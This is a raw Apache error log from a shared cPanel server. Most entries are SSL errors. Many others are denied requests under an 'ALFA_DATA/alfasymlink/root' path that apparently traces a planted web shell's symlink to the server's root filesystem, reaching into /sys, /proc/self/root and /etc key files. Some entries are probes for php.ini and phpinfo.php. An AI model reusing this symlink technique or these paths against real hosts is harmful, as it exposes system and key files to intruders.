[Sat Oct 24 22:18:10.994337 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.193.102.198:37610] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:18:14.399073 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 35.169.240.53:24017] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:18:26.192160 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.93.211.16:41082] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:18:27.674210 2026] [proxy_fcgi:error] [pid 2693034:tid 2693034] [client 68.183.17.57:50508] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 22:18:30.254497 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 23.23.137.202:58783] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:0e/subsystem/drivers/hardware_error_device/uevent
[Sat Oct 24 22:18:34.170443 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.13:38776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/alloc_calls
[Sat Oct 24 22:18:42.174497 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.45.92.83:36741] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:19:02.193037 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.230.69.161:55137] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:19:06.227489 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 34.227.156.153:37438] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:19:18.183072 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.210.155.69:5566] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:19:22.352653 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.3.102.51:20259] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:19:26.177562 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.84.93.8:10944] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:19:34.221455 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.89.90.224:18551] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:19:50.199486 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.206.193.60:56542] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:19:54.955963 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 85.208.96.206:37848] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:19:55.907942 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.147.182.90:12051] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:19:58.661728 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 44.209.35.147:30117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:20:06.303149 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.220.148.166:9539] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:20:14.311137 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.212:13674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sb_edac/sections/__bug_table
[Sat Oct 24 22:20:18.225904 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 100.28.44.58:35718] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:20:22.184650 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 184.73.195.18:38898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:20:22.813721 2026] [core:crit] [pid 2731612:tid 2731612] (13)Permission denied: [client 51.81.110.23:30804] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Sat Oct 24 22:20:22.834965 2026] [core:crit] [pid 2731612:tid 2731612] (13)Permission denied: [client 51.81.110.23:30804] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Sat Oct 24 22:20:26.173603 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.215.221.125:5038] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:20:42.228357 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.195.145.102:33530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:20:54.277458 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 54.84.169.196:57101] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:00.0/subsystem/drivers/exar_serial/remove_id
[Sat Oct 24 22:21:02.181143 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.83.23.103:14965] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:21:14.199228 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 35.173.18.61:45948] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:21:30.251491 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.231.77.232:49690] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:21:38.240634 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.195.50.71:12939] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:21:42.230960 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.208.11.93:30237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:21:46.601319 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 100.24.167.60:17463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:21:58.316359 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.196.237.236:33776] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:22:02.184053 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 50.17.193.48:3926] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:22:10.283165 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.23.112.144:20018] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:22:26.248511 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 18.204.89.56:31011] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:22:26.248742 2026] [security2:error] [pid 2733464:tid 2733464] [client 18.204.89.56:31011] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/event4/subsystem/event3/dev"] [unique_id "at1n4iTLSCb4RJ-3cSWWbQAAAAE"]
[Sat Oct 24 22:22:26.248781 2026] [security2:error] [pid 2733464:tid 2733464] [client 18.204.89.56:31011] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/event4/subsystem/event3/dev"] [unique_id "at1n4iTLSCb4RJ-3cSWWbQAAAAE"]
[Sat Oct 24 22:22:30.184503 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 107.23.62.75:47645] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/input3/event3/device/device/driver/unbind
[Sat Oct 24 22:22:50.308358 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.45.92.83:44503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:22:58.675581 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 52.7.33.248:55384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:10/subsystem/ttyS0/device/subsystem/drivers/amd_gpio/bind
[Sat Oct 24 22:23:00.138500 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.197:13282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/chrony.keys
[Sat Oct 24 22:23:06.216636 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.197.102.71:62718] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:23:14.183948 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 107.23.62.75:9902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input0/device/subsystem/drivers/ec/uevent
[Sat Oct 24 22:23:22.391701 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 184.73.195.18:27085] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:23:42.265141 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.217.82.254:37906] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:23:59.920506 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.1:13448] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/cirrus/cs35l41-dsp1-spk-prot-103c8b63-l1.bin"] [unique_id "at1oP93lMH_Ldre-PZtvkwAAACk"]
[Sat Oct 24 22:23:59.920553 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.1:13448] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/cirrus/cs35l41-dsp1-spk-prot-103c8b63-l1.bin"] [unique_id "at1oP93lMH_Ldre-PZtvkwAAACk"]
[Sat Oct 24 22:24:02.195015 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 107.20.224.184:60482] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:24:10.306368 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.216.86.144:28851] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:24:31.749329 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.18:59750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/store_user
[Sat Oct 24 22:24:42.186838 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.204.253.129:18179] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:24:46.181830 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 34.194.233.48:44735] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:09/eject
[Sat Oct 24 22:24:54.295561 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.197.28.78:3928] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:25:10.327922 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.2.83.227:38489] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:25:22.379974 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.22.64.232:8241] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:25:25.209782 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.1:48930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/min_partial
[Sat Oct 24 22:25:38.312038 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.224.215.150:50305] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:25:42.190009 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 54.156.124.2:59131] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:25:46.433645 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.211.181.86:55337] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:25:50.176017 2026] [ssl:error] [pid 2731612:tid 2731612] (5)Input/output error: [client 18.206.47.187:8989] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:25:54.170571 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.212.86.97:39684] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:26:06.208990 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.83.240.58:39705] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:26:10.176652 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 107.20.224.184:14290] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:26:14.388581 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.84.70.201:36758] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:26:22.445244 2026] [security2:error] [pid 2693020:tid 2693020] [client 52.71.203.206:23467] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A06:01/subsystem/devices/LNXCPU:00/physical_node/node0/memory7/"] [unique_id "at1ozjKiZtbKEGWJKoLW-AAAACE"]
[Sat Oct 24 22:26:22.445294 2026] [security2:error] [pid 2693020:tid 2693020] [client 52.71.203.206:23467] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A06:01/subsystem/devices/LNXCPU:00/physical_node/node0/memory7/"] [unique_id "at1ozjKiZtbKEGWJKoLW-AAAACE"]
[Sat Oct 24 22:26:42.209490 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.192.67.98:5105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:26:44.633009 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.13:56718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/sanity_checks
[Sat Oct 24 22:26:50.268965 2026] [ssl:error] [pid 2733464:tid 2733464] (5)Input/output error: [client 52.200.251.20:52103] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:26:54.166071 2026] [ssl:error] [pid 2731598:tid 2731598] (5)Input/output error: [client 98.84.184.80:8900] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:26:58.229878 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 184.72.95.195:52120] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:27:02.175060 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.227.180.70:50749] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:27:06.187634 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.213.102.186:64695] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:27:10.172201 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 44.223.116.149:33833] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS2/device/subsystem/drivers/alarmtimer/unbind
[Sat Oct 24 22:27:14.169341 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.1.157.90:14101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:27:22.222372 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 107.23.62.75:47263] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:27:30.176113 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.91.122.193:22188] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:27:38.307682 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.44.174.136:17598] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:27:46.195264 2026] [ssl:error] [pid 2733464:tid 2733464] (5)Input/output error: [client 3.220.148.166:45087] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:27:50.179251 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 52.4.76.156:15193] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:27:54.204936 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.213.85.234:17720] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:27:55.249759 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 85.208.96.211:34590] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:27:58.169983 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.213.36.21:26499] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:28:04.408369 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.18:12592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf-frags/cpu_partial
[Sat Oct 24 22:28:06.244307 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 50.17.193.48:50850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/physical_node/firmware_node/PNP0303:00/subsystem/drivers/battery/unbind
[Sat Oct 24 22:28:10.418625 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.210.114.189:46646] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:28:14.356965 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.235.172.96:47978] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:28:18.273850 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 44.195.145.102:9948] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:28:22.247882 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 34.202.88.37:26425] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0d/subsystem/devices/PNP0A03:00/device:09/eject
[Sat Oct 24 22:28:24.399191 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 85.208.96.207:63760] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:28:34.246300 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.205.192.249:25524] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:28:46.182631 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 44.196.118.6:52569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:28:50.192777 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.2.83.227:36321] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:28:58.191615 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 44.197.76.210:1291] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input5/device/driver/unbind
[Sat Oct 24 22:29:10.197704 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.203.152.231:21292] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:29:22.219599 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.71.216.196:55541] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:29:26.356505 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.221.244.28:12218] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:29:42.217636 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 54.166.104.83:14404] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:29:54.251088 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.90.244.132:20076] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:29:58.208828 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 54.225.199.17:56569] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/exar_serial/bind
[Sat Oct 24 22:30:06.260214 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 44.194.134.53:43968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ptmx/subsystem/ttyS1/flags
[Sat Oct 24 22:30:18.192678 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 3.224.215.150:12075] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:30:26.205099 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 52.3.102.51:42450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource4_wc
[Sat Oct 24 22:30:30.578879 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 98.84.70.201:18391] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:30:34.262883 2026] [ssl:error] [pid 2707149:tid 2707149] (5)Input/output error: [client 54.84.93.8:11297] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:30:42.225988 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.210.155.69:15204] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:30:46.400498 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 54.197.102.71:2619] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory12/node0/memory17/subsystem/uevent
[Sat Oct 24 22:30:50.467005 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.209.35.147:22142] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:30:54.204643 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.7.33.248:38931] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:31:02.196455 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.3.156.186:12898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:31:18.295375 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.212.86.97:40383] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:31:22.165114 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 35.171.141.42:7535] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:31:26.172578 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 23.23.180.225:63747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:31:30.156434 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.236.135.14:6707] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:31:34.366462 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 98.82.59.253:25360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXCPU:00/physical_node/node0/memory4/node0/memory6/subsystem/drivers_probe
[Sat Oct 24 22:31:39.113882 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.200.58.199:27873] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:31:42.313193 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 98.82.66.172:24405] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:31:42.537883 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 85.208.96.206:63142] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:31:50.151992 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.21.228.180:13080] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:31:54.265722 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.164.106.236:49408] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:31:58.143171 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 3.93.253.174:63351] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/rescan
[Sat Oct 24 22:31:59.657492 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.208:15684] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-4k/red_zone
[Sat Oct 24 22:32:06.189035 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 3.94.156.104:36090] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:32:12.584692 2026] [authz_core:error] [pid 2731598:tid 2731598] [client 172.68.195.194:10178] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 22:32:17.178397 2026] [authz_core:error] [pid 2731612:tid 2731612] [client 172.69.150.160:11756] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 22:32:17.277373 2026] [security2:error] [pid 2693035:tid 2693035] [client 172.69.150.160:11759] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/phpinfo.php"] [unique_id "at1qMd3lMH_Ldre-PZtvpgAAACk"]
[Sat Oct 24 22:32:17.277445 2026] [security2:error] [pid 2693035:tid 2693035] [client 172.69.150.160:11759] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/phpinfo.php"] [unique_id "at1qMd3lMH_Ldre-PZtvpgAAACk"]
[Sat Oct 24 22:32:18.152116 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.209.137.234:1041] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:32:38.142914 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 100.29.63.24:10892] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:32:43.531074 2026] [authz_core:error] [pid 2707149:tid 2707149] [client 45.198.224.125:36470] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 22:33:02.128516 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.235.215.92:9336] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:33:05.998804 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.1:17982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/slab_size
[Sat Oct 24 22:33:18.157824 2026] [ssl:error] [pid 2747849:tid 2747849] (70014)End of file found: [client 18.235.158.19:8632] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:33:22.155811 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.216.227.216:32107] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:33:26.343379 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 44.215.210.112:1489] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:33:30.197038 2026] [ssl:error] [pid 2747848:tid 2747848] (70014)End of file found: [client 107.20.255.194:10657] AH02013: coalesce failed to read from data bucket
